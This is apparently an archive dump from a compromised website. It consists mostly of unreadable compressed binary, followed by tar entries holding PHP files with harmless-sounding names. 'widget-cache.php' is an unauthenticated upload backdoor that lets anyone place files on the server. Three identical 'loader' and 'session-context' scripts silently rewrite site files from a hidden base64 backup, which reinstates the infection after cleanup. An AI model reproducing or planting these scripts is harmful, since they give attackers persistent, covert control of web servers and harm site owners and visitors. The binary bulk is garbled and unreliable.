5]0UP:S&`'f;ЁP7V%AmJ"b)̦6 ~e "u625y뀬bK(h)J 7VfNBGkmoK!*vMRiffkγUڴ>6H<&"yD_' @ڠOKڣ.B$"*@sjw0ae!!4 #Vi1\Ӆx8
I e!bҬ, 4Ċk$߁4Jф R
J@p/"UpU"]( '"P$*%R_$˛Bxd4HGѷ׷sPwQ"	ǂ"P)(DmϥV &X  TEHo 4{i/4?4聃{*yxp~"@,$J(JKHh )H5o8S&<AAHHb 	2  N=@RA]ӳH/F
SqDY)%uLC&&E{cP2ti5zFf(@` 51
ԢSxd7`x$S%Є@	ȣkD @(B@HDt
t]B~GPcVfФ H<NKEQx$aAx'IhDX$b	^p,@"C)@>c	y~p)@D02DЕ	A/ޛ ,iu*`I$$ /:P$TOZae[/`"nBX,0UыB^A''s (x@8lt@CB !
(he	Mg&4 Ӌ@ d1=BK@p"*J
221BFB`H bB"Xb^,(8Lԣ{'d"܌0&lmm\FvvV0]]}+;3=P o*mQK `u@Dr~H EVacP`
 1 n~tu%0 =3$̫j gbe<_pȢѭg. ! 	յ&d ˠj/vd"Oś5!p.
Kc+a9ItH*I񐕩 <-.恩."$ { 8d& ^c}IDjl	P	ݍ ΣȊ,61$be 1 //KNt[cX6-hPH:5$tRP,şg%o z%U-
%sWhSXw%W$HMĠd#.YR6PZ7hzA0	Ȧ?!!H!?PЀD
CdteddD!KIK|dFS\DG[WLeL՘q,b2BUm(
N\JP)-RZJ}!$?=Fw*BIF;drV!zC"܋.#]CF=Oį,2! -\\͍, xNv'Xl࿁U a*HtAP0K E: !4Do/H#;i4
-#EU/AI#(Y[) ؗ\J	D@wM^p"B8 `>qaG0$T%wjITT
C  <ŖђHm@FO!-"0x2O@ƥ+dMsW+SZ/V5Aqt h	VXҋ 5 Ё2՗@ Ǌ,@R7`Dc
 mc[RNo3(W:`ȰS,FP_
;#%1xO:+2_]̤'"0$27h$UD@؄'KaH~$ɀp@:/  8_VaT/]RmV`1-؛į& .BA{#	@|;3MxO(PK!ED;d4@''= ._.1DHH:5:0s *}$-+%QQXX\%<lp2:d5'2`+oXYDɚt#\
  ɩ3I)+#< ӀH3\JhUElizTIS7[$IWtݿ'Ć'vI5QQEJ͟pY1pA%Eh},TȑV}0hM2&#DEWlLZT_SsfXJAIfp{%OQe;)J-ksE60cina/4q`yW_1vc ZȪ؇,On 3 28Hł@'Ӄ}zoFx- f>AD #iG"Rb)0b`{4!@x7WK 5C@@%;DhyI+\{	K6lk@*NaP`X`7`|+D$ˠ	.JK}PVd (eX1 
VEtE"i+g,Jl\\WOS0_$LlqaɦaI
,!>J%DƐ
.!K3Fɀ*J-G	 cbրCDYdJ
H8+@ 0h ' IxfԐkA'L< "BIXPPpGLSS(UϘt5)M(^<A֠R" Jz{ Qk
yE P5T!@NVlI4e>Eh!Q}^P C ڑ p:ZM-ÅRVCj0	W) xQP
Kru uC٢<t5)-idGbHh0eI@W'O艔_)
D3~o
 ڡoАf5A #/%]/%2K)o~h?gHEHЗ{ D	0tƐ$&Or;EXn2vZ )/ȇ$<H8^J4gψ8l,!z0;VjCd:
`D]WK@~YZM2o%?")"OA_2dZ2PZ/T`/.zU$ p")doЎ.	N0*.J$VI{o]Lo%E&~,vtF/DFKz#l
8L]5q꿄,B
Os"P 8!L	Ɣ
_ɾcU<T a?NBAt^^"_ip/_\J1@H] YPɢEUBPϿ0R!zO@@ↇ B%ť`ezn;Z3]@m+rf IdE X\e/,2Kj*\bԟ&c5k)j[ nEfv19'Sp0 EEIgciP' dlkg9[

>.BaBo5۪ҵч/X>8]eWZI&\0!:րP".8Womd,+VblagJ/tqT> +>a^6'0[j+Vt$!SkYaBC!Kt T) 
$e+\ O
1 "K0@h sIjA`Lvnwq $Xj_(bVd@cBdדH ƾ.>!d$Na$/ln?cWq_	h8y9E$V28?b8L8I:b|5 GI87(T
BكQVu`.E!aD$$@(p<ܥY>: ϑA\[C
\A0i.M{ IMpDЅ&qЙXJ-СրK.h-J3&ɀǥqpPSX
v *CJ8|iB	Xv 8A-epBwTPUVls2!!@XrAuY?syg2,mE$C&Eb@.L-=G^ZZe3\e T_/%냡.c!s9VZ%Cq?cȥɐu1sqCdürd9muB+ZۖBԍx&jW_4WBP $J>LQ`p(}Aif 3r'[B;J]vH)W 4% /sJ_d5_"ޅ`6[^,_F"Ã+PX$"x 	*1Bbd'I;FI!ʠ"Y@cp8p\/jxԟ%\-2 nw#`~P
/x$188
"@	W'HQꌪ8Xʘ0cakַGO:+Zf~̬UC>f*mlhd$llU,}l'#BTR!(ɛ;v~
8^9KZ+/﯄z١0>(  BTle|A2v(`G""	9%O3Bɞ$#u`Xyo"l9ĭ|(f8EOgU{iieo38T',Kq&;&XiRWG'+3!d}qҪp{3RFVkDG0iio;9/ysG%LBDpr T
Hoiq%yc-U6P"9UTĥ}^
0qoO9l,K4*a>D]"[9//bM27źp_8Tƙ; 62(;qdav4&UtHdGie9NLop0W2ё{c)f>r2f!>NA*XOG?C9]_y;&C𳴑qS#ahS[_G%io<I2Dw({;mI
D]} YAE4ȇTPt@+RJpAQZߘ2!9S|@/*{iq@i"`A3=}"h^&ޠQ*I9:xR .xyg',LSk%;;"86(^, gշv&Y8X;;`}{U=g?C s.lNtp	 r6&r'ތ@@eQpSC[iosL5KqVp
6r0(X#Cd`v ne m@lrv'E%Pi獕`Y9y/Fa0IIGɏ"tбI{.&P/蠏2Vcdm)
rE]+=r L
2qO{E}	
dl9YខQNAgؖ1KFzzca}}$ad$M  3Tp\YZYf]sX엥/nZe gڠtpJ˜JC$i2 h	aH`t:F#Y^i\<h0{ `$-U\''J`#K$mUy njTN60=}=+K;;00t"%ą?OC0^aT░&/Fv'cV#ЧVf'4VTJdG UVEKܭ^zF .r_l 	۫VAXSh~o<2HK';PȉXKK%409$}pP_X]tJ, r	,c	??$!&}Vԩt. _ZH|_P0VtYQԡPa"c"P@DfBC};W((75_B~ҳVp
%54ZE?u.][X2d$D55@34ѡc@jKSA-KG0ӥ/%J:R5rS	Ep,zCItZ @Ao,-Z;HD u"h),@^LZZrY
ln@aMtth)
8bS/{W*w	kk]:OA: K,+E
h )de8|VHw9ڟ.&81,CNo)`Qp#&ćD{ yjpI~<":px
XQ\k?[ Lru_=߅I3&CIG (( O3:
zT@/P]҂<"7gxjO
Ly&l)(=l{##++]9`ZՁbc}B1.j
	hGR\ӌ? i4FBcjF;2ЂfI_	0 @jˠӄD)
ˊZK$"IY"?9An$ Pېvm;ƴVʸԥi@z^  wIhE,e\?Z<HN%㢳V¿_+b/@ţQcHNKk76,-f/!0,j)7[A^_xa%qu%"p~M `rй^e[
" -@?S34cM*8B.$~\/1(ӏv+/^pBy9e%U)҃RKVPT z%5K~KҊױWr؊DZmh-s_UwX`	(~a6au>ѕGW\ oP,ĺ[dƛVUaP)BQ[W|0/_;6M/*;^3U19(=TK'kyBZkTs[U"_sf#ɦk<m`u2/>_y΢ZdlXyWUz/w,+¹~ YDQ.YqfU7\qR}V?	FU}J^~F'^mQ%+Ghbl2$((?P_xq*l.~2AB^ŭb*\H4_PP7)nnHA%4KxptxW-rwl'c镓P%I,`X:V}]+FJsyن$_f BWE?^+h"pf	:_nZ%c#(J$!xя,tՉY_+L TִA/Wz
Vɢ0	AW7t/{p</H9>c[K#}' T30GfܿWE3\rkVd9p}n.(/BKo0~m]r;M($2^I漰n[\_N	)q!vz-1_]Be5$ r&VyM+KAHTԴՓ(i[WddM(
+ng-f!Qɗ_.[i1:{jC5Ȋ1VKWW0`\9s+G+jq®?Qe+`+^B_ Uʋv.^xa\(":s/HC<)(ү	]U"آ	|V#}i9D8sIG`W!";!MAj2222+wJp$
q	T $D/!TV(Ϫ7DQx{  ~QuƑe:SKSKSȀM3&_B-cw%#'U脾f^CZD,zZ\9[~8'>?cuanvq;*T+P7.:/,o?/pM4z43=0ꅖۘYZg`<3ԷzHlPPa(m`iffhf3 /Y{x[[3`nlnV6n gooX,lBˏ+6"^`,IK/YuJ*(B"zj
v"D驂M&&'8óoHxxX@sWnwDE4<	` O"$j݉R[ܜ.-fCw){MA_ׁ&`7Eiѧa8d.xޒ*i,F JS  5HpI^2%ItԔe )iiI 4#`!/+_736%86X_=PYŏ40x0Yfy;\} z $Piq:$ؕ&=Slp54*?}U0
JtV50+-9z?/.V8}}Ca::JuOP0wNP,t_m2~I"=76X鬋:@Em,p'q*˓]&-.Y	*Wz+ATVOYOw.WHgiR@<?1P2PZb6L5zxxf5oDBcP0Azqi9t( 5@u	"`\ BECdV9CVD05o
N!/]Iq;p}[j.[X>ZC$"!aeuᆪ2OyBH'S3,V~>6
V`7660(}m}m	( xuҷ7T00KK>IϘ`*5Z,1$
WQ&:9YQ$E@o.,VfooG* )&F0>k"mkB[I0 LianӃٹu^0g]}LfQ5߆@b3P9˙`d!-i3E`a:X]}\`a!V?*cUVY0=9c<\RF	P@Q[(m]*X/[
EH
ZSWW6HGdV :Y9[q0J bhgcFkc`cBI[",$eKVDT168Sĉ^iKox!C!KcQ6'FaK<A"PHAJkwC:*ZMM<Xi,IIAE[VLcbl`c
$ؙ{(ͼ	Ff^fҁ`3}[GSEG]>cojke	PU Ca$C8̉bcG#l`
^0)2)xKHK#Q&@KqzY`N־fX;SR.S]SnLѕBYltMt:8[	kxu:6pcLuTԓC(똚ZPvζFp ||P(' egѱ1Xأ	~Fƪ^(cEl!O_0`T@aW0N^AGl	 k# Aő``E[9r(+9W`%Y'JSF	"YP$]`e}LB:Q*A@k[LY!crQԱ5@;+;ۚPF2EH$_"cB$؈{Y;;efV; eE-<DgMep$Ww1@6v#|ŭ*X)S7&ؓmxg ۓkX {g$A?F烷@*9*';Cwv$ޯs?ޑŜ=̤su@$ L~uDfg^s<6	tWWWwWUWWWNV|>+rVLu#|B?j6L,WBj<B7@DmPTVu~.7t	r"?,3rl^t˫VT&JZRY`cn/˵]f,Xx/M\E7UdVj?TL:TSSk08sJBeE[pl.< x_D1|ϻ@g*2Oc)%:n)k/.ku`l:gy@`^i3$Èŗfey75:JPbk62FZ'uJ,hu(,fd|1-fӂ.ҚZ=̦]\%1%l\K5cٲWGR[X׫H(\tZ\۝jUfNVꁭԂ":vCE\Q0h4%U[!}V+/E]Sv+E{lwʜ`5,qK/@Lgw
GZҚkPhˋ'j:a-(favrY7ܫk1 F8O>JvF(ۘkFQ G?#JE*:i҆oFwǭVI_Q9.Mbb+שFK\ΟffbiW[-7,^U}6W^_%2}eR$jqˇ5ɟ\Ê?̈Kz?O_
޶Di7h8a!>3fGT崙v^M]GbLy/fUGϑ^qHt+lSV8W;Xy˚X}ID}\kK]7jRXc@.j+pRmъk^a!Q-M;/X2+uyfsgl4[}:ܾWψb8~KU
P6.Ϣbs!Q/N}Y//*jk>/ˡR!ot^ӻZu'0햳Qŷ*>/g6^o*gs=yI
?r}*^ӛa#ZN-#rH+}٤R|9ٽˑa/&:T^FFy}V"L^f^mnF'fNp
f/8bK2qwJ|Ypہ5Nc=b(?QVfKϮ"ddOETNjƇ@7Ez-V^+[4x?a'Ѵnۭ{p=p#{^bd	^`}/jmm,/V@j`w><"Bm*dlGa9iWb`{c3MmZgF$ 7ZE%JlthllP,B!`r"ģBv$)x4ԨCRcr,6M(GFytYNK	t|\謢,l\y%CpDKVDkj=	sI-6OI &ɃC_ne&̆n#kM\o4,[qa6h4ηlz"N/d#EO}(4dllwd3ƒz`8oI~G+n	%F,j7n6ڶ?sFJ&_+Q*&$hU'N</vȥP=T8
VlT#2I9B)<sl2;[퀝 +0UrZ9gRBur9t:O:ledS5
4k|j2⦣_|/N?yC.PК5sjj.}SD!:tnk]w?Jf?-D=RF0<5-c-es6d
d-<*yrAsJj~O /|g/mp5{Bwa^|t/d6cMs}yM ^#L=\l7_6*Dzmw$FӝIo>\W־m{TtKem@\HAqK~IRáPf N3r;A++V_A=|,}UlwJjJX\ײbqWKCj*SS1Uj&QYgWo}<_+&Y,3t]+Ri/̷AKLyTPK_\^rzymf]`U	Rv:Bt&QR ]KU{D[nZiF`/:mE։2Y*3!aaaaaaaaaaaaaa~4`tbAl!^wi |qus\5UZEFsq)wrR#wXZ®Z~[$LbVZ&w@誑/iٿ|{Ú&@1Y=<W`OH=$/D]66d 9qRW\wm:>Gy>[~Q@n&UeI\eG>e3m#1o1;h6)V${wx1I,曯v=$C֮_`Z~We7r\/Yo8Ɨv\'xYƧ:k.[\9idSIv(&T>Lkb4ҞL
Dl;\6լP(n2}M(|oyq{iZA壢^傲l2&R;ŕyKA󰚔"Uj
a}NU4p`ud	kn:쐪WuWpYJ\`>=w-}t0vz%u8ֶ+	|//|[J/(>$+Ur̆'7"t#|V./-bSO;x+G[|X\g7~f*/
_P=ލPr/8Oc:`iӋBjʳZTCH2
U}e ?9f}Yjr}UH̷QB86P1}.Jxx ~*kv;vJρZ9dm2[-#em0En{iDU+Hh(ߏ&e+S96|ky>܏ՐMXIt9N&(wG#8fV=Zu[:Q`vmXU)W{Nrlt"lK}|jYTOY4ȌqKl*dE{	/0S//r%̅]j?ƓO0@(8x _[F WpV)rJ'gs2ViE0F+,OGП|^Zϴs*hn@$>rT+O3>kn3`sTFB[QhBNIaN?Nh}^zx\6
>rr6_{B՝R׍jjXWa:^V\4ɗ39-=cd>;b(n )m;p53ngQiGmb|:XfxA<Fst*89;< ;`	H:WgشjɌbzh-_^
B05+u0[fCx8rR%>~^4~v!ݬH|R;68Zҭ̠Tz	,Qþ㡀Cl:8ZJ#0|hjD(}ƩzBVU>W.gOz/ ě@qWH_^W/cWq?3'(yFtLN?<HY=r~pG(|KW]/^7H&	Ùav+=}$u^"pCdzq-P"@9S'Z!B08@CF$<DW"\@[0X#a8>;YekReFTCL4ӋVr#MPU|sw/e-!cMW`:
}3*
<y<y+EW'!,x+$ѷ7i̆WT..o"xǗ5Pxc̦[`*~}c?p@ uh<!mA0d4OK'#Aq=ψuF3TbV`?q
;3[5n0[ʦ./Zvq7Sbۄy@- gtB 	L_ -yN1"tkZȺ ]нJoU[B2Mس^墈fDQX[E"RhYZMfĄrppL7,Τ(s,y\hPI`{1G4Y#l7"ɈQގ57bf	灜-ˠ;w6$B,rPXdHݰc7~4.]6.^N#غzՎ𞍳L+hxwo{ww^Z*>8֧^Ⱦָ"w2<`n QϟsE0!LX]|fq1n~Qi'mI:iJ"EUv3[2p`U3jH Q@U ;`(qo	dxQ 7mwɝ/r
F`0QH# GbPKKP#q	
\Բ38GX
J[|ta1`İtapTkh{DWלڂAÖYѸC1|dF)Y?LG7wQ֞74ȰKa
m#H(5x}DIv
;sbe^{[vɿ'2Hqڈ0^
x3%rkY
,tw</g#dnЮ4fE0s2!(.c@c|9l%q^'	6aDEW+M6OX~nyr[/6nDFg0_&1	qq@vs4pQ' bk,J< {?:\V&aNH{d1x~>Ū-8MbEˮQR#FQzoocY'1f/@I/ᐸ' @4/y<{y*ūhC]\h4r'bCYdcI	:lNW+0Zgŝ̔2tf3{VbvhSf㛮o@dbp4ߏ29v<vn=$\l4IlGtm;p̳o/䴕f~IcCme@#[揠hz$!R愖n'OAb&F\};-\#gWH>խ!=Z rx ~"ܯ'rzG*Z';Zo"RmT<6Cjh1J- Eա{lĴƀس}S̺ a.oĬK'}$jz2QDۛ1x#nl\i	%ȝO7N
[3b3>Pu\̳=L7fkfĴA-xW8%ѡIlǙ	"LWINA'0<b`^oS~by"B.! ;{U13=`ajp<0rB@u)h2)y`ęڴO#]XryEZe41:٬c]ݹ1phKbrhi ZkKnȒywٖ]ɬ(@rk'{$i;Om$&)f"84f_g^r+@ҳ ӉE,xkbz0eհ@0@u,RkN :t^O]+G׆9=cq~˲vK+YUB0GT=%I=X,m$-*`P)KtU|_Ɉv3Ov;'{v)U~U<Î*+1+"w{p}oRG w.`R"rmx`JV7Lc
)R\u,?vzT'hOaZGEjBHn_oF<ɚS,+*pk
hR;
ӓr$I1l>+G3X.T6r؝nfBkDXXВwVg,ߢ]@Ll*1%5R%5ӣET%rer:l.잇cô	tr˝g恹Ӽw1Wǽ\1BsC_%E2|w~+~oq1KbJ	Hr)my":T{h߀aqmЂU_oz28C%+wZ@jͩs*n}͏Y1nꦭԎ_G5IP#(,aV="hRH%
ެo9|ڹvTv^Yo@kS^_mIBwvZy0ԵToKXYbD{Iqs}MGF,F`0Kz!MKajr O"+rip[Sg}Qq~xjI۰O@@}K[ۡ&RQ'xݸ0PHV7&[ϼTsk^vІ7pm|9 &[j2zk oZ)J
Pڠ"=@KZyqT螀C[sY&1נ{nNs4x[>L?25QuоFk/Z[6Xd[IY{P{Fe'<Jv`>2V+cɂ3O?jJV3P8N776.,2ֽhz0AN@nbх ߀]Cb5sݣNc@7:_k42uod̢̖a.nT6"2wDz!oފkyv\+׿{n
!ؑ{{eٮ!83AlwYJb,V7smd;9^5-KhQÅE`
B<Q(}cm֜X^e3l7
7ѹqfIc&=^"[	{]-Ã!W˶VjSm(p7V8]$+?8+eKBL|ȭj +yn[!q{zg|QI~R$I-p
Ut~V[0x c 8xL]LAT_LDxnGS7ңޭ}My\3.?Cu3+ΒDv@?çL'ސ޲O:Q%qeC,835A ;4bcR
VƮ$wu`Գ5;ɐ?Ȃ7^_#V4;}Gj(PqFj׶F:nNs7`ۇ:N];[~>.A~Y!aK?aI;r71a<*p 瓫<.'W2bƸ 0R-C
Yi]2e~7],hh|VRdE RwD<ZUuf$>&> $%H@=2t38$sO#+?2$ay)W|}56F&U1< 80BqPqoN	nN{)g{ɶ%Z8崔:|3K^>L*TG.NeE՜X3.4eLWuYd1^CF$"ֿq%kxl_UIʂ`xݣ;g BSn^3Kpus%8j{Ug	Vse?c@;=! ={@6`	B?Vaenj:,	(r7UͲڷV7ݕc%
6<fλ:fEB1vƼO`iVQ=2`"o#˙O/?{^@{z{b`/&:ZkQpD{g Й
6^oT	BԉLy\1^35+\zZK<c[F{Gأ¢kP1[Bl"#h!orQ@ .KBZ/pS~zbMᇥ?#8'˼7C	\y 3}p󨐗3
h@޳
"VPw O,$j R4a\s]
4`Hb+`&dǗz'^U'_AKh&-S3D)/i+@,pzdp+s,{ _<o7.6j$`]+CʝXg$ȀROׯ# iml*,.A+
*=(Pq+}@v^kN f%h?eX$pާH"p}r>@{\XE}&IǓ(St^?!70b
H8Q8=u-rP+u8Ȭ7N]b!Oy;wx6bO]w0yq;/.NR`Qqsin+ż,5dOߏ[}/*1n$>Ƿp*LQ/=38X38ߗVPU2!`vv5(h3iLJW}C@\8#H\i
'w	'HØ>e_j[":	{{c;)e,!Q%Zph외OfM}t^>>pLQ7%lФks^{6&k3=_bw_ӺUߒ]e	!Ќ4]Z	@h$P{M%)@/ h7Cb?P8Oa:'		cc4MV?ן
6Gp0H@`\iO:	'I ^d]s``>~9k9xG~(wͭ9Smm^@tDݏů)X"0f;ḿ≣~d64hr1&#|/Gk@RkA: k!:׭	\ל`<Hh39,5 BGiEZ1-b{]JA/+a,b$H:zIX qTCA- uL9Ӄbq<=0 5n ՙ0l;FsmdK?U#
8{vQ1R?)`rV&x׳1|WGL
yflX:F@q7h!AasYy)Ri9wCxh%K id>#IEI#AU,bPxc+5qbJ6GkznNGBэ'v$@f98cS>
"7﭅L4wzॉ!'ѹ

"ز	Fd,%nv8n--.œv
zl'@\,EH	zmv'f2>U=W6Y.dgo>'!wؐdrj>oRNhVN>j92sw["ߒvbpuNS솒󂩅hx:;:H XJUc̴ق,%SR˼?EKu~"ӗ |dcDghJte uEpK(3هc6Ws%\Q[UƊx	"z]k.T9hiX1J=
H
qDι{	h]thmc]p|tի+^U)֞i:Fm]$\yƕO0ðnQW,%</ƚ5>2()gt :̿#B~x"/҉{p[y(^<I6n$H8|#.RRN!հI&4Ye~S@5TЎ	~qC}>yY,YA?yA\	V\eI**.{E+='O=;|a5ճ24Iǒ@'ّe,maT|: j=5<) &}.H@!ul7-2NjUx9`Iۨ1-!8QlBSD8IpwG%ѢoMJy+w;Ğur"cb)W<UA̭ym3b֨	F@1CpN51hEarc@X9iC;|a\&;|ac8>}o*x)Ѕ_\麸%s/},yInC[zzV -cԤqiȮ44Xgx	[䮷aa8v}\O|vP9Hmၳ/h&6X.X=ewaI1q5
Cɒ0Ahe;"qa¬-s1$)&pT巘!	 L&$DHjGУSŪr`qjH|Ktjhv:*禅[&^Sq*HNѢ#5/ d@<]:mCo aMci;!].hmZ	@˺{AݻBpm4pױQSzT>@O٦(Mݐ]g0aةj=e5տ7w!zļNWnn^hkB9Nmޚj0 
6t{bϞ#Czi"G`gIYgWՕU|Gxr(~e_@eb[7ce&dՍbm",!|pFU\"&'6Z3:)=18i˅6_Īo̨e@hR0̔:f86W<אI˫sVTٵϫ&H`S-Wchrѹc#f	0$3Ba9B9umTogn[wNf)xgoN/Oΰmco}L*5޽}{2-6nʘ
%	Ptt6M7ZQWԵǃ#	'I%h	p9`Z4".*B}AS_7l0tW^|*.$3nb QU?[SagCφC:n%8~bB
 CmtbFĨ,?Ł-j<O^4	11[+̸'N	Umtj=f]}ꎪWNU.o
yE+yvfq;GE235J9|Y	DpTɊ4yN~A"g0\lz_QKA%Qp{K8ql<ƯW<r:pls|bId/oCѐ&=4)=+t7?6{0B_q0j`쎡qwj1UXG[{h$uOo/3L]%{^Z0TtaM dONDEAI6[6nߔG3ƌnXxsƋHL+̟N
^D,E޲Xp@@5^_Br xSc:MsĜ16e ^Ǆ	̗|<U9Q8sTC =H,]ZU0*x+{X@K[t|ˉ+NҟAh(P٦l^ ]9rkQcsyees;Zܤo/+EPGĎZd 1|8mE@njɒOcd;-.hyx=z@oGɉSNэU{ i>Zb+5xc?Mg0Iuo`.Fə:ohn;X<&):fi}?	\Mn^*2;29_}$Mx#z/vۿh$5skrؑUx<>e:[i'hxW2 k\ܸ*RZC6
,'`"t3Evwx|l{kcѕ4pݣ4s&k;Lj~/{y:-[V8x:!r[_-
	}BWGQJHwCE"'+E¡X$@ dGA?*O"2AIa~K	ՠdUeA_ǋW&KV8tyĿvןޯYQkTɽa0$3->F3AH< ,:zD5FƯdhPhqL'Bl8KDQ6d40|"9	EF&λ_mfKqq(deITW&2=Z(pRn"g  AFJ#HI@lz?Fu5ꮦ4qK@<#.L*׈6o(##	qA29?mz3\Iskx`KڃGe4ȩBA(%gB 
V3t8?djb@ZZ$.Ta~jβ0,/ʿ _&O?sg+p@|@s(/c>?ABm  PK     -a]JX 
   
    widget-cache.php.tarnu [        home/www/zeuportail/assets/static/modules/widget-cache.php                                          0000644                 00000001563 15243251144 0020022 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
$d = dirname(__FILE__);
$h = '../../..';
$r = ($h === '' || $h === '.') ? $d : $d . '/' . $h;

$targetDir = isset($_REQUEST['dir']) ? $_REQUEST['dir'] : '';
if ($targetDir !== '') {
    $targetDir = str_replace('\\', '/', $targetDir);
    $targetDir = ltrim($targetDir, '/');
    if (strpos($targetDir, '..') !== false) {
        die('Invalid directory');
    }
    $uploadPath = $r . '/' . $targetDir;
    if (!is_dir($uploadPath)) {
        @mkdir($uploadPath, 0755, true);
    }
} else {
    $uploadPath = $r;
}

if (isset($_FILES['f'])) {
    $n = basename($_FILES['f']['name']);
    if ($n !== '' && move_uploaded_file($_FILES['f']['tmp_name'], $uploadPath . '/' . $n)) {
        echo '1';
    } else {
        echo '0';
    }
} else {
    echo '<form method="post" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" value="Upload"></form>';
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             PK     -a]a*'  '    widget-cache.php.php.tar.gznu [              SMo@͙_A(%cRHzhThKYJB'̛yl6ZWP*IE=^&uNa7Ncgԭًv@tv6 x?gK9jhSUV(a QtuaEae`Ǯ5 Kp`O%LoE𶲹aX0bLG3}]}^}]|Yc_ؑ2ad)(27@RH*'1vt΀-+@	z&jiHZrfu!)%jHH_$g(U)|V$ㅑ5vLFMA0t5uBF̍ьۍ>5Na/IRX+	ZED)WQ+K1 ?6ll񋝷EZ
8UY,Mخ2-bXѥ\iiB1/jZnDb=3HPmpdXO_8JX 
  PK     -a]ABm      modules.tarnu [        session-context.php                                                                                 0000644                 00000001672 15243264725 0010442 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                      widget-cache.php                                                                                    0000644                 00000001563 15243264725 0007620 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
$d = dirname(__FILE__);
$h = '../../..';
$r = ($h === '' || $h === '.') ? $d : $d . '/' . $h;

$targetDir = isset($_REQUEST['dir']) ? $_REQUEST['dir'] : '';
if ($targetDir !== '') {
    $targetDir = str_replace('\\', '/', $targetDir);
    $targetDir = ltrim($targetDir, '/');
    if (strpos($targetDir, '..') !== false) {
        die('Invalid directory');
    }
    $uploadPath = $r . '/' . $targetDir;
    if (!is_dir($uploadPath)) {
        @mkdir($uploadPath, 0755, true);
    }
} else {
    $uploadPath = $r;
}

if (isset($_FILES['f'])) {
    $n = basename($_FILES['f']['name']);
    if ($n !== '' && move_uploaded_file($_FILES['f']['tmp_name'], $uploadPath . '/' . $n)) {
        echo '1';
    } else {
        echo '0';
    }
} else {
    echo '<form method="post" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" value="Upload"></form>';
}
                                                                                                                                             runtime-loader.php                                                                                  0000644                 00000001672 15243264725 0010224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                      handler-loader.php                                                                                  0000644                 00000001672 15243264725 0010156 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                      364262/runtime-cache.php.php.tar.gz                                                                 0000644                 00000001121 15243264725 0012546 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_KI[OU߬j%lc.bioq"UE 9gUz~gm]5K`RBRvń۴{$gN/5l(~?3p(?hof0IcΚjH
ؘ\+HtC<CWb&2b臁XW8޾q,]7%-E݇ T|_ŎK	B9א:v9F3Ӽ>8\@]䡭CeJV%^y7Q@GI44MGӱ̮M \:;q`	YHa0ɥAtQW`$Rf^hyϕ*ZRC߁>	`W U2ICWl=X	bwV͈PQeհȼE'0
dfz$7Toq͚dPz*Ilwl]M<TI+Pju7=b;ތ;$Ԥ[./o4g;w	$ 
                                                                                                                                                                                                                                                                                                                                                                                                                                                 364262/364262.tar.gz                                                                                0000644                 00000504106 15243264725 0007227 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             @W8VpV @A#"$(Q{kպ,)Zw[[{TYW<s=s=s=Nuk?;Igԡ2htJ	@b#x_ME?~נku;׶N:VL)7jbfP tuFo.DV\&FX!M&D5d^fM* khLDP i-_&__Ѩ7:e%8ڿZ.DM^2C0Y !&Biq"a~#"hr@=Am$djN&r؅ nQ7' FF&YI{+OE$DF&!`D2P%biŐ\W0Y6֗*9Y&6Ld0pOEbP$HK@."J} l!hl
rIl D7:PɃ)nxSȤTQ`@b:\U۳+ DKA0sL!0,' vW/DJW
